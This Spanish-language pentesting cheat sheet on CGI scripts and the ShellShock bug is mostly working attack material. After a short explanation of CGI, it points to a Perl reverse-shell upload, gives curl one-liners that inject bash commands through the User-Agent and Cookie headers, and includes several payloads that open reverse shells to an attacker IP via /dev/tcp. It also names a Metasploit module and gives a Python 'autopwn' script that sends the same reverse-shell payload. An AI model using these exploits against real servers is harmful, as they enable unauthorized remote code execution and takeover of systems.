CGI
¿Qué es y cómo funciona?
Los cgi-bin son programas que se ejecutan en el servidor, pueden servir para tratar información, como pasarela con una aplicación o base de datos o para generar documentos html de forma automática.
Los CGI scripts son scripts escritos en perl, si se compromete un servidor que puede ejecutar .cgi, se puede subir una reverse shell de perl /usr/share/webshells/perl/perl-reverse-shell.pl
, también hay otra vuln muy conocida que es ShellShock.
ShellShock
Comprobar si es vuln
Para comprobar si es vulnerable antes de intentar explotarl con Nmap.
nmap --script http-shellshock --script-args uri=/cgi-bin/<script>.sh -p80 <IP>
Comprobar si es vulnerable manualmente
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
Explotarlo manual con curl
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
Con Metasploit
use multi/http/apache_mod_cgi_bash_env_exec
Con Python
python3 shellshock.py -u http://example.com -r /cgi-bin/time.sh -s -lh 10.10.14.6 -lp 443
Autopwn shellshock.py
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, pdb, threading
def def_handler(sig, frame):
print("\n\n[*] Saliendo...\n")
sys.exit(1)
# Ctrl + C
signal.signal(signal.SIGINT, def_handler)
main_url = "http://<IP>/cgi-bin/<file>"
def shellshock():
headers = {
'Cookie': "() { :;}; echo; /bin/bash -i >& /dev/tcp/localIP/lport 0>&1"
}
r = requests.get(main_url, headers=headers)
if __name__ == '__main__':
shellshock()
Last updated